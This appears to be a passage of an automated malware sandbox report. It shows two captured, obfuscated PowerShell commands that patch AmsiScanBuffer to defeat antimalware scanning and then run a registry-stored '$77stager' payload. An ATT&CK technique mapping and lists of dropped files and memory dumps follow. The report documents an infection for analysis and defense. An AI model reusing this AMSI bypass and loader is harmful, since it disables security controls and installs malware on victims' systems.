$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'f'+'e'+'N'+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+'t'+[Char](104)+''+'o'+''+'d'+''+[Char](115)+'');$kwSYCIkOuxxZBh=$mFyqrOHpFZcJb.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+'r'+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+'es'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+'i'+'c'+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fcFrBaBHPrjgJJTruRP=BVZqXRpXnJBP @([String])([IntPtr]);$HXOqDmiEIoismqspsOUPgS=BVZqXRpXnJBP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VDDGIbVUCEb=$mFyqrOHpFZcJb.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+'dul'+[Char](101)+''+'H'+''+[Char](97)+'n'+[Char](100)+'le').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+'e'+'l'+''+[Char](51)+''+'2'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$hubtyDFPYMjWeu=$kwSYCIkOuxxZBh.Invoke($Null,@([Object]$VDDGIbVUCEb,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+'A')));$GWPWLtjmROYXgqfGP=$kwSYCIkOuxxZBh.Invoke($Null,@([Object]$VDDGIbVUCEb,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l'+'P'+''+[Char](114)+'ot'+'e'+'c'+[Char](116)+'')));$OiULAkO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hubtyDFPYMjWeu,$fcFrBaBHPrjgJJTruRP).Invoke('am'+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$eDedvRNgWXtAysMLp=$kwSYCIkOuxxZBh.Invoke($Null,@([Object]$OiULAkO,[Object](''+'A'+'m'+'s'+'i'+[Char](83)+''+'c'+'a'+[Char](110)+''+[Char](66)+'u'+[Char](102)+'f'+'e'+''+'r'+'')));$zOEhrRpjRq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GWPWLtjmROYXgqfGP,$HXOqDmiEIoismqspsOUPgS).Invoke($eDedvRNgWXtAysMLp,[uint32]8,4,[ref]$zOEhrRpjRq);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](59+78),[Byte](173+19),[Byte](210-26),[Byte](242-155),[Byte](233-233),[Byte](57-50),[Byte](102+26),[Byte](126+11),[Byte](140+52),[Byte](176+19),[Byte](21+110),[Byte](194-1),[Byte](192-192)),0,$eDedvRNgWXtAysMLp,215-202);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GWPWLtjmROYXgqfGP,$HXOqDmiEIoismqspsOUPgS).Invoke($eDedvRNgWXtAysMLp,[uint32]8,0x20,[ref]$zOEhrRpjRq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('$'+[Char](55)+''+'7'+''+'s'+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cJwNiIAzHTSQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YmzMXNqjBwBvYk,[Parameter(Position=1)][Type]$YrdleSigHp)$jtEuMamnxQg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+'m'+'o'+'r'+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'eTyp'+[Char](101)+'','C'+[Char](108)+''+'a'+''+[Char](115)+'s'+','+'Pu'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'iC'+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'C'+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$jtEuMamnxQg.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+'Na'+[Char](109)+'e'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+'b'+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YmzMXNqjBwBvYk).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$jtEuMamnxQg.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'','Pu'+'b'+''+[Char](108)+'i'+[Char](99)+',H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+'lo'+[Char](116)+''+','+''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+'',$YrdleSigHp,$YmzMXNqjBwBvYk).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $jtEuMamnxQg.CreateType();}$AdmAoCjjfYqfL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+[Char](116)+'e'+'m'+'.'+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+'.'+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+'2'+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+[Char](77)+''+'e'+''+'t'+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$JvTACvqmwoyQTZ=$AdmAoCjjfYqfL.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ffZjYbwUQYMlfNhiHKt=cJwNiIAzHTSQ @([String])([IntPtr]);$TMKAjbulyZoEvYngypFkGp=cJwNiIAzHTSQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bXAhcdmjYrS=$AdmAoCjjfYqfL.GetMethod('G'+[Char](101)+''+[Char](116)+'M'+'o'+''+'d'+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+'r'+''+'n'+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$mSiUpqrXfVpaXk=$JvTACvqmwoyQTZ.Invoke($Null,@([Object]$bXAhcdmjYrS,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+'L'+'i'+'b'+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$qxuwdistLpOJbVrEl=$JvTACvqmwoyQTZ.Invoke($Null,@([Object]$bXAhcdmjYrS,[Object](''+'V'+'ir'+[Char](116)+'u'+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$dvAcZVi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mSiUpqrXfVpaXk,$ffZjYbwUQYMlfNhiHKt).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.d'+[Char](108)+'l');$kRewyNmynzIrCjOgc=$JvTACvqmwoyQTZ.Invoke($Null,@([Object]$dvAcZVi,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+'Sca'+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+'f'+'e'+'r'+'')));$oqwigGzwkj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qxuwdistLpOJbVrEl,$TMKAjbulyZoEvYngypFkGp).Invoke($kRewyNmynzIrCjOgc,[uint32]8,4,[ref]$oqwigGzwkj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$kRewyNmynzIrCjOgc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qxuwdistLpOJbVrEl,$TMKAjbulyZoEvYngypFkGp).Invoke($kRewyNmynzIrCjOgc,[uint32]8,0x20,[ref]$oqwigGzwkj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+'7'+''+'7'+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Roaming\$77SEC~1.EXEC:\Users\Admin\AppData\Roaming\$77SEC~1.EXE1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
7Windows Service
7Event Triggered Execution
1Netsh Helper DLL
1Power Settings
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
7Windows Service
7Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
6Disable or Modify System Firewall
2Disable or Modify Tools
2Modify Registry
10Pre-OS Boot
1Bootkit
1Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
7System Information Discovery
7System Location Discovery
1System Language Discovery
1System Time Discovery
1Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
CSIcon.ico
CagService.exe.config
Gui.exe
ultravnc.ini
Update.dll
cagerrors.dat
log.txt
AEMAgentDeploy.netcore-win-x64.14.9.0.10572.2.zip
RMM.WebRemote.exe
Settings.json
windows_agentrto.ico
windows_alertmodeoffline.ico
windows_alertmodeonline.ico
windows_offline.ico
windows_ondemandmode.ico
windows_privacymode.ico
windows_stopped.ico
MonitorAlerts.xml
AEMAgent.exe
dotnet.runtime
3y22qzji.bcd.resume
logs.dat
logs.dat
background.exe
ri2liut3.newcfg
ye0mecqq.newcfg
43yu2i33.newcfg
s2rojw5m.newcfg
user.config
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe5bcfc0.TMP
Local State
Local State
Local State
Local State
Local State
autofill_bypass_cache_forms.json
edge_autofill_global_block_list.json
v1FieldTypes.json
settings.dat
settings.dat
LOG.old
BrowsingTopicsState
the-real-index
the-real-index~RFe5cd2a9.TMP
SiteList-Enterprise.json
Network Persistent State
Network Persistent State
Network Persistent State
Sdch Dictionaries
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe5c6db5.TMP
the-real-index
the-real-index~RFe5cbbd5.TMP
index.txt
the-real-index
the-real-index~RFe5cf9e8.TMP
sync_diagnostic.log
data.txt
wallet-checkout-eligible-sites.json
wallet-notification-config.json
wallet-stable.json
wallet-tokenization-config.json
Local State
Local State
Local State
Local State
Local State
Local State
Local State
crs.pb
ct_config.pb
kp_pinslist.pb
Filtering Rules
LICENSE
typosquatting_list.pb
017cd1932d44fa3f5b7dcfd7ace33af995856842862c48ffbdb1df11e661a0ee
07f28875ce5e1afe81d290173be7139e537f673bb9d715c0d4795952bb1642b8
2d2f683649600db91050fb41cd9ffea403ae024de38a0647b18e7f6106f6c55d
38b9a60260c000df8eadd64719d86020e30480df9afb893e60b5ef7d780616a5
720517793663c90e0dbd77cb42709bac49af733f83f73320ba89859d9b0310e0
7a71f2cce966ecd582e644399b8d9edff228993586f21d3f7136761c73feff84
7d78dd72eaa60e854b8f77e4e8d64d346fb3e084b74c4b551eb41916a8057561
96b9640eef0668f4d266932438731ee473f9c1186e1c64440512025567be62b7
a922b7d113e67ce71528805d3c6780f7a207cada8ad56642047577358e46ba3d
fe1dddd490dd50171cbf30fa635145b0a8dc881fa5c19800c9a043025021768a
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
svchost.exe
$77Security.exe
FXServer.exe
365VPN32.exe
92D95E00
Decide.cmd
%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe
._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe
02.08.2022.exe
1003b.exe
20030520.exe
444.exe
AA_v3.exe
AGambXYA.exe
AutoGuarder_2.3.7.350.exe
AutoUpdate.exe
Bexitor%20Installer.exe
CFXBypass.exe
CritScript.exe
CryptoWall.exe
EFatura.exe
FXServer.exe
Install.exe
LOIC.exe
LicenseMalwareBytes.exe
LukeJazz.exe
M64.exe
Mova.exe
NAMUVPN32.exe
NanoCore_Portable.exe
OpenArk32.exe
PXray_Cast_Sort.exe
Patch_0.7518.txt
Patch_0.7552.txt
Patch_0.7556.txt
Patch_0.7575.txt
Patch_0.7588.txt
Patch_0.7589.txt
Patch_0.7599.txt
Patch_0.7608.txt
Patch_0.7616.txt
Pinaview.exe
Rsvp_invite%23903388.exe
Security.exe
Service.exe
SharpHound.exe
Tinder%20Bot.exe
UniversalBrowser.exe
VoidRAT.exe
WxWorkMultiOpen.exe
XClient.exe
Yellow%20Pages%20Scraper.exe
a.exe
autocad_v1.4.exe
black.exe
build.exe
builder.exe
chrome_134.exe
chrome_144.exe
client.exe
connector1.exe
cr.exe
crypted_c360a5b7.exe
cryptography_module_windows.exe
darts-wled.exe
fmt_01.exe
jeditor.exe
keygen.exe
mimilove.exe
mininewsplus-2.exe
namu864.exe
natgo.exe
net_launcher.exe
offlinepackv4.exe
pclient.exe
peinf.exe
pvp.exe
self-injection.exe
setup.exe
severstal_map.exe
shell.exe
srtware.exe
sthealthclient.exe
svchost.exe
update.exe
vc2005sp1redist_x86.exe
ClientRun.exe
STClientChat.exe
STUpdate.exe
SeetrolClient.exe
SeetrolMyService.exe
Seetrol_Clt.exe
sas.dll
sthooks.dll
Install.exe
JUSCHED.EXE
black.exe
flag_ap.png
flag_cc.png
flag_gp.png
flag_sj.png
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-fibers-l1-1-1.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-kernel32-legacy-l1-1-1.dll
api-ms-win-core-libraryloader-l1-1-0.dll
base_library.zip
libffi-7.dll
python38.dll
ucrtbase.dll
__PSScriptPolicyTest_ea4omufs.icv.ps1
e8e8-6880-a2c1-949d.tmp
Pinaview.tmp
SimpleFC.dll
SimpleSC.dll
System.dll
nsProcess.dll
nsSCM.dll
nsisXML.dll
ioSpecial.ini
openark.ini
openark.ini.Ya7132
openark.ini.lock
dism.log
hs.dat
1bwdid0i.newcfg
3qwano5p.newcfg
bxsgxzzt.newcfg
jfqtovqa.newcfg
mdinryh4.newcfg
pzc2p21u.newcfg
user.config
wc2ltjzf.newcfg
wi2hq3dy.newcfg
wiet2y3w.newcfg
xe1fowl1.newcfg
ewn2slva.newcfg
manifest.json
manifest.json
manifest.json
notification_fast.bundle.js.LICENSE.txt
tokenized-card.bundle.js.LICENSE.txt
strings.json
manifest.json
manifest.json
manifest.json
manifest.json
edge_checkout_page_validator.js
manifest.json
keys.json
manifest.json
manifest.json
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
memory/456-1408-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/740-1654-0x00000000005C0000-0x00000000005D6000-memory.dmp
memory/864-2919-0x00007FF7D8430000-0x00007FF7D9397000-memory.dmp
memory/864-2797-0x00007FF7D8430000-0x00007FF7D9397000-memory.dmp
memory/864-2601-0x00007FF7D8430000-0x00007FF7D9397000-memory.dmp
memory/916-11-0x0000000000850000-0x0000000000851000-memory.dmp
memory/948-1382-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/1048-1755-0x0000000000BF0000-0x0000000000CA0000-memory.dmp
memory/1204-1900-0x00007FFBDC710000-0x00007FFBDD61C000-memory.dmp
memory/1204-1841-0x00007FFBDC710000-0x00007FFBDD61C000-memory.dmp
memory/1204-1778-0x000001E1D0110000-0x000001E1D011C000-memory.dmp
memory/1620-2533-0x0000000000B50000-0x0000000000B58000-memory.dmp
memory/1620-2529-0x0000000000160000-0x00000000002B8000-memory.dmp
memory/1844-2847-0x0000000000400000-0x00000000004FD000-memory.dmp
memory/1844-2619-0x0000000000400000-0x00000000004FD000-memory.dmp
memory/2216-607-0x0000000002CB0000-0x0000000002CC2000-memory.dmp
memory/2216-196-0x000000001EBC0000-0x000000001EC73000-memory.dmp
memory/2216-208-0x000000001ECF0000-0x000000001ED0A000-memory.dmp
memory/2216-209-0x000000001ECD0000-0x000000001ECD8000-memory.dmp
memory/2216-210-0x000000001ECE0000-0x000000001ECE6000-memory.dmp
memory/2216-211-0x000000001ED10000-0x000000001ED1A000-memory.dmp
memory/2216-181-0x0000000000BA0000-0x0000000000BB0000-memory.dmp
memory/2216-188-0x0000000002DC0000-0x0000000002DE2000-memory.dmp
memory/2216-198-0x000000001ECB0000-0x000000001ECCC000-memory.dmp
memory/2216-197-0x000000001EC80000-0x000000001EC8A000-memory.dmp
memory/2216-606-0x0000000002C70000-0x0000000002C7C000-memory.dmp
memory/2216-195-0x000000001EBA0000-0x000000001EBBC000-memory.dmp
memory/2216-1175-0x0000000002C70000-0x0000000002C7C000-memory.dmp
memory/2216-207-0x000000001ECA0000-0x000000001ECAA000-memory.dmp
memory/2356-2493-0x00000000006B0000-0x0000000001198000-memory.dmp
memory/2356-2678-0x00000000006B0000-0x0000000001198000-memory.dmp
memory/2476-2532-0x00000000006B0000-0x0000000001198000-memory.dmp
memory/2476-2512-0x00000000006B0000-0x0000000001198000-memory.dmp
memory/2604-611-0x0000000000400000-0x0000000000727000-memory.dmp
memory/2604-1625-0x0000000000400000-0x0000000000727000-memory.dmp
memory/2604-127-0x0000000000400000-0x0000000000727000-memory.dmp
memory/2604-112-0x0000000000400000-0x0000000000727000-memory.dmp
memory/2604-160-0x0000000000400000-0x0000000000727000-memory.dmp
memory/2604-129-0x0000000000400000-0x0000000000727000-memory.dmp
memory/2604-1551-0x0000000000400000-0x0000000000727000-memory.dmp
memory/2808-2279-0x000000001C350000-0x000000001C52E000-memory.dmp
memory/2808-2282-0x0000000001BF0000-0x0000000001BF8000-memory.dmp
memory/2808-2281-0x000000001D070000-0x000000001D10C000-memory.dmp
memory/2808-2280-0x000000001CB00000-0x000000001CFCE000-memory.dmp
memory/3016-1745-0x0000000000080000-0x00000000003A4000-memory.dmp
memory/3140-1593-0x0000000000400000-0x0000000000697000-memory.dmp
memory/3280-1411-0x0000000001D50000-0x0000000001E4E000-memory.dmp
memory/3280-1177-0x0000000001610000-0x00000000017A6000-memory.dmp
memory/3280-1106-0x0000000001610000-0x00000000017A6000-memory.dmp
memory/3280-1181-0x0000000001610000-0x00000000017A6000-memory.dmp
memory/3336-1493-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3568-1626-0x0000000000400000-0x0000000000697000-memory.dmp
memory/3568-1492-0x0000000000400000-0x0000000000697000-memory.dmp
memory/3692-844-0x0000000003140000-0x0000000003159000-memory.dmp
memory/3692-686-0x0000000000CA0000-0x0000000000EB2000-memory.dmp
memory/3692-687-0x0000000005860000-0x0000000005910000-memory.dmp
memory/3692-847-0x0000000005DD0000-0x0000000005ECE000-memory.dmp
memory/3692-846-0x00000000032A0000-0x00000000032B8000-memory.dmp
memory/3692-808-0x0000000006720000-0x0000000006A77000-memory.dmp
memory/3692-833-0x0000000007C70000-0x0000000008216000-memory.dmp
memory/3692-845-0x0000000005C70000-0x0000000005D5A000-memory.dmp
memory/3692-810-0x00000000070A0000-0x00000000076B8000-memory.dmp
memory/3916-162-0x0000000000400000-0x00000000004C3000-memory.dmp
memory/3916-151-0x0000000000400000-0x00000000004C3000-memory.dmp
memory/3920-834-0x0000000006D40000-0x0000000006DD2000-memory.dmp
memory/3920-1110-0x0000000005950000-0x0000000005969000-memory.dmp
memory/3920-837-0x0000000006EE0000-0x0000000006F36000-memory.dmp
memory/3920-836-0x0000000006E60000-0x0000000006ED4000-memory.dmp
memory/3920-835-0x0000000007760000-0x00000000079BA000-memory.dmp
memory/3920-1113-0x0000000005F50000-0x000000000604E000-memory.dmp
memory/3920-1022-0x0000000009DD0000-0x0000000009DDA000-memory.dmp
memory/3920-1112-0x0000000005F10000-0x0000000005F28000-memory.dmp
memory/3920-992-0x0000000009DE0000-0x0000000009E30000-memory.dmp
memory/3920-1578-0x0000000005F50000-0x000000000604E000-memory.dmp
memory/3920-867-0x0000000007C40000-0x0000000007C4A000-memory.dmp
memory/3920-1111-0x0000000005E20000-0x0000000005F0A000-memory.dmp
memory/3920-989-0x000000000A360000-0x000000000ADFE000-memory.dmp
memory/3920-990-0x00000000099E0000-0x0000000009AAE000-memory.dmp
memory/3984-1495-0x0000000003510000-0x00000000035FA000-memory.dmp
memory/3984-1494-0x0000000002E60000-0x0000000002F5E000-memory.dmp
memory/4192-1807-0x0000000000400000-0x0000000000424000-memory.dmp
memory/4192-1863-0x0000000000400000-0x0000000000424000-memory.dmp
memory/4192-1491-0x000001F438490000-0x000001F43849C000-memory.dmp
memory/4416-1390-0x00007FFBD24B0000-0x00007FFBD24C0000-memory.dmp
memory/4416-1397-0x00007FFBD0180000-0x00007FFBD0190000-memory.dmp
memory/4416-1391-0x00007FFBD24B0000-0x00007FFBD24C0000-memory.dmp
memory/4416-1395-0x00007FFBD24B0000-0x00007FFBD24C0000-memory.dmp
memory/4416-1392-0x00007FFBD24B0000-0x00007FFBD24C0000-memory.dmp
memory/4416-1398-0x00007FFBD0180000-0x00007FFBD0190000-memory.dmp
memory/4416-1389-0x00007FFBD24B0000-0x00007FFBD24C0000-memory.dmp
memory/4528-2787-0x0000000000400000-0x0000000000487000-memory.dmp
memory/4528-2572-0x0000000000400000-0x0000000000487000-memory.dmp
memory/4580-1496-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/4660-1313-0x0000000000400000-0x0000000000697000-memory.dmp
memory/4720-2476-0x0000000000500000-0x0000000000FE8000-memory.dmp
memory/4720-2492-0x0000000000500000-0x0000000000FE8000-memory.dmp
memory/4792-642-0x0000000000E30000-0x0000000000E60000-memory.dmp
memory/4792-702-0x0000000000400000-0x000000000044E000-memory.dmp
memory/4792-622-0x0000000000400000-0x000000000044E000-memory.dmp
memory/4792-670-0x0000000000E40000-0x0000000000E53000-memory.dmp
memory/5096-1095-0x0000000003130000-0x000000000322E000-memory.dmp
memory/5096-164-0x0000000003130000-0x000000000322E000-memory.dmp
memory/5096-163-0x0000000000400000-0x00000000006F6000-memory.dmp
memory/5132-2511-0x00007FF7C1400000-0x00007FF7C23C5000-memory.dmp
memory/5132-2327-0x00007FF7C1400000-0x00007FF7C23C5000-memory.dmp
memory/5132-2677-0x00007FF7C1400000-0x00007FF7C23C5000-memory.dmp
memory/5144-620-0x0000000005B00000-0x0000000005BFE000-memory.dmp
memory/5144-1412-0x0000000005B00000-0x0000000005BFE000-memory.dmp
memory/5144-1-0x0000000004FA0000-0x000000000503C000-memory.dmp
memory/5144-2-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/5144-43-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/5144-327-0x0000000005B00000-0x0000000005BFE000-memory.dmp
memory/5144-42-0x0000000005B00000-0x0000000005BFE000-memory.dmp
memory/5144-126-0x0000000005B00000-0x0000000005BFE000-memory.dmp
memory/5144-0-0x0000000000630000-0x0000000000638000-memory.dmp
memory/5144-161-0x0000000005B00000-0x0000000005BFE000-memory.dmp
memory/5144-1107-0x0000000005B00000-0x0000000005BFE000-memory.dmp
memory/5408-732-0x000000001AA30000-0x000000001AA5A000-memory.dmp
memory/5408-730-0x000000001BAD0000-0x000000001BBDA000-memory.dmp
memory/5408-684-0x000000001A780000-0x000000001A830000-memory.dmp
memory/5408-683-0x0000000000E30000-0x0000000000E3A000-memory.dmp
memory/5408-701-0x000000001A6D0000-0x000000001A6DA000-memory.dmp
memory/5408-706-0x000000001A720000-0x000000001A752000-memory.dmp
memory/5408-1024-0x000000001D890000-0x000000001DDB8000-memory.dmp
memory/5408-685-0x000000001AA90000-0x000000001ACEA000-memory.dmp
memory/5408-707-0x000000001B3C0000-0x000000001B434000-memory.dmp
memory/5408-708-0x000000001B700000-0x000000001B9B2000-memory.dmp
memory/5408-717-0x000000001B520000-0x000000001B5FC000-memory.dmp
memory/5408-721-0x000000001B340000-0x000000001B390000-memory.dmp
memory/5408-727-0x000000001B440000-0x000000001B47C000-memory.dmp
memory/5408-724-0x000000001B600000-0x000000001B6B2000-memory.dmp
memory/5408-1108-0x0000000001540000-0x000000000154C000-memory.dmp
memory/5408-731-0x000000001B480000-0x000000001B4BA000-memory.dmp
memory/5408-1059-0x000000001C780000-0x000000001C78A000-memory.dmp
memory/5408-737-0x000000001AA60000-0x000000001AA72000-memory.dmp
memory/5408-1020-0x000000001D1D0000-0x000000001D25A000-memory.dmp
memory/5408-1056-0x000000001D590000-0x000000001D59C000-memory.dmp
memory/5408-742-0x000000001C7E0000-0x000000001C938000-memory.dmp
memory/5408-1109-0x0000000001C20000-0x0000000001C32000-memory.dmp
memory/5408-746-0x000000001B390000-0x000000001B3A8000-memory.dmp
memory/5408-745-0x000000001B4C0000-0x000000001B4E2000-memory.dmp
